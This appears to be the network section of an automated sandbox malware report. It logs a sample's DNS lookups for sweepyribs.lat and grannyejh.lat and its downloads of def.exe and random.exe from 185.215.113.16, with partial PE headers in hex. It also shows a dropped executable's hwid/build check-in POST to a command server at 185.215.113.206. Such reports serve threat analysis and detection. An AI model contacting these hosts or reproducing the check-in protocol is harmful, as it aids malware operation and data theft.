Dec 19, 2024 08:46:32.769942045 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.770031929 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.770122051 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.770924091 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.771084070 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.771176100 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.771868944 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.771948099 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.772176027 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.772995949 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.773044109 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.773216009 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.773945093 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.774173021 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.778783083 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.779027939 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.779350996 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.779510975 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.780747890 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.780976057 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.781089067 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.781291962 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.781362057 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.781660080 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.781934977 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.781994104 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.782109976 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.782877922 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.783133030 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.783258915 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.823607922 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.823641062 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.823863983 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.823894978 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.824035883 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.824112892 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.825333118 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.825407028 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.825558901 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.825849056 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.825915098 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.826172113 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.826594114 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.826685905 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.826709986 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.827456951 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.827475071 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.827529907 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.828452110 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.828696966 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.828840017 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.830161095 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.830271959 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.830449104 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.833487988 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.833574057 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.833642006 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.833662987 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.833673954 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.833684921 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.833802938 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.833802938 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.834311008 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.834616899 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.835469961 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.835536003 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.835613966 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.837364912 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.886693001 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.886801004 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.887121916 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.887295008 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.887487888 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.888091087 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.888303995 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.888472080 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.889142036 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.889319897 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.889386892 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.890077114 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.890299082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.891061068 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.891129017 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.891211987 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.892163038 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.892551899 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.892652988 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.893119097 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.893369913 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.893913984 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.894181013 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.894342899 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.894983053 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.895183086 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.896050930 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.896111012 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.896127939 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.896899939 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.897142887 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.897221088 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.897861958 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.898067951 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.898859978 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.898951054 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.899019003 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.899894953 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.901415110 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.920069933 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.920089006 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.920188904 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.920196056 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.920211077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.920341969 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.921142101 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.921293974 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.921345949 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.924623013 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.924758911 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.948612928 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.948892117 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.949058056 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.949155092 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.949462891 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.949563026 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.950146914 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.950284004 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.950371981 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.950835943 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.951302052 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.951387882 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.951762915 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.951941013 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.952023029 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.952408075 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.952620983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.952706099 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.953438997 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.953586102 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.953844070 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.954660892 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.954677105 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.954749107 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.955348969 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.955660105 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.955750942 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.955787897 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.956749916 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.956927061 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.957026005 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.957721949 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.957853079 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.957964897 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.958800077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.958997965 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.959228992 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.959610939 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.959944963 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.960048914 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:32.960664988 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:32.960742950 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:33.890383959 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:38.031821966 CET	49799	80	192.168.2.6	185.215.113.206
Dec 19, 2024 08:46:38.151508093 CET	80	49799	185.215.113.206	192.168.2.6
Dec 19, 2024 08:46:38.153460979 CET	49799	80	192.168.2.6	185.215.113.206
Dec 19, 2024 08:46:38.154057980 CET	49799	80	192.168.2.6	185.215.113.206
Dec 19, 2024 08:46:38.277854919 CET	80	49799	185.215.113.206	192.168.2.6
Dec 19, 2024 08:46:39.495477915 CET	80	49799	185.215.113.206	192.168.2.6
Dec 19, 2024 08:46:39.495570898 CET	49799	80	192.168.2.6	185.215.113.206
Dec 19, 2024 08:46:39.507956982 CET	49799	80	192.168.2.6	185.215.113.206
Dec 19, 2024 08:46:39.627660036 CET	80	49799	185.215.113.206	192.168.2.6
Dec 19, 2024 08:46:39.954401016 CET	80	49799	185.215.113.206	192.168.2.6
Dec 19, 2024 08:46:39.954495907 CET	49799	80	192.168.2.6	185.215.113.206
Dec 19, 2024 08:46:40.795779943 CET	49799	80	192.168.2.6	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:46:00.554575920 CET	62838	53	192.168.2.6	1.1.1.1
Dec 19, 2024 08:46:00.694169998 CET	53	62838	1.1.1.1	192.168.2.6
Dec 19, 2024 08:46:00.700619936 CET	63640	53	192.168.2.6	1.1.1.1
Dec 19, 2024 08:46:00.840186119 CET	53	63640	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 08:46:00.554575920 CET	192.168.2.6	1.1.1.1	0x4eef	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:46:00.700619936 CET	192.168.2.6	1.1.1.1	0x2833	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 08:46:00.694169998 CET	1.1.1.1	192.168.2.6	0x4eef	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:46:00.840186119 CET	1.1.1.1	192.168.2.6	0x2833	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:46:00.840186119 CET	1.1.1.1	192.168.2.6	0x2833	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

grannyejh.lat

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49764	185.215.113.16	80	4368	C:\Users\user\Desktop\MFQbv2Yuzv.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:46:21.409657001 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 19, 2024 08:46:22.747308969 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:46:21 GMT Content-Type: application/octet-stream Content-Length: 1719808 Last-Modified: Thu, 19 Dec 2024 07:22:27 GMT Connection: keep-alive ETag: "6763c9b3-1a3e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 44 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 44 00 00 04 00 00 39 5c 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`D `@ D9\`Ui`D @ @.rsrcD`2@.idata 6@ )8@aviwlvzz`*:@ondpugpz @D@.taggant@`D"@
Dec 19, 2024 08:46:22.747495890 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:46:22.747513056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:46:22.747929096 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:46:22.747955084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:46:22.748689890 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:46:22.748708010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:46:22.749466896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:46:22.749485970 CET	776	IN	Data Raw: 02 c5 a7 c3 ed de 48 1f b9 d2 70 82 54 b3 9f a3 9f 61 7e 76 1c 2d 85 51 ae dd 83 70 d7 7e 69 0c b8 73 9b be c1 b1 d5 a2 ae 48 16 3b 7b 34 03 ef 9e b5 3b 54 76 bf a1 18 87 7c 42 36 9c bc 36 e3 fb 53 82 0a 57 da 2d 35 a8 f9 00 69 75 b1 52 0d 17 c6 Data Ascii: HpTa~v-Qp~isH;{4;Tv\|B66SW-5iuR:S{qq,Ae4x-Pq#%U:oOa:\@HNx~*@yxPq[Y#qEVD~>Tqr3;PZyMV8WYQ0hl[OQ`=\|-g.X
Dec 19, 2024 08:46:22.749506950 CET	1236	IN	Data Raw: a0 89 f2 9d e9 29 6c 4f a1 d5 75 26 5d c7 f5 54 20 9f a9 4a 57 b5 4b cb 8b b5 f5 55 a2 62 81 4e 34 40 9e aa 9b ba 31 65 56 a6 76 35 54 ce 4a 68 98 a8 9c 56 76 b7 ae 50 cd 17 a1 4a f8 a3 6b 72 e7 d7 41 3a 78 2e df 42 33 58 15 5b 36 df 82 aa af de Data Ascii: )lOu&]T JWKUbN4@1eVv5TJhVvPJkrA:x.B3X[6XPwL,usD~Ss{v8v1"1-P)fnO5D.ypYD8tITNz=mnQfQQTL$yy%-NR'9pX
Dec 19, 2024 08:46:22.867119074 CET	1236	IN	Data Raw: cb 88 74 64 dd 38 26 2a bb ae 2d 15 c5 9e 50 ce a9 76 a7 5c 69 94 6f 27 c9 8d 82 2e b8 b9 91 0c b7 bf f8 c5 d3 66 51 1d b3 18 31 9e c6 9d 4c df 2f 68 79 f4 13 2d 38 41 da bd 25 8c 58 75 45 dc c7 4e 55 2a 8a c8 57 9f 29 5f 4f 2c a6 40 65 fa da 36 Data Ascii: td8&-Pv\io'.fQ1L/hy-8A%XuENUW)_O,@e6M7D(+acsnheF-<fFUK$<^1"S%.7nR$Q+;]Uw1f=VUUW5ZM:}E)<`@oM[l>R.L;B17LBq
Dec 19, 2024 08:46:25.815376997 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 19, 2024 08:46:26.252547026 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:46:25 GMT Content-Type: application/octet-stream Content-Length: 2856960 Last-Modified: Thu, 19 Dec 2024 07:24:04 GMT Connection: keep-alive ETag: "6763ca14-2b9800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 d0 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 4f 00 00 04 00 00 dd 7d 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(N@O},@M$a$$ $h@.rsrc$x@.idata $z@wfoskafw*$)\|@zpagxsbpNr+@.taggant0N"v+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49799	185.215.113.206	80	1036	C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:46:38.154057980 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 19, 2024 08:46:39.495477915 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:46:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 19, 2024 08:46:39.507956982 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAK Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 46 32 46 43 39 39 44 30 34 32 31 35 36 31 32 32 34 37 34 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="hwid"B6F2FC99D042156122474------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="build"stok------HCFIIIJJKJKFHIDGDBAK--
Dec 19, 2024 08:46:39.954401016 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:46:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49708	104.21.64.80	443	4368	C:\Users\user\Desktop\MFQbv2Yuzv.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:46:02 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
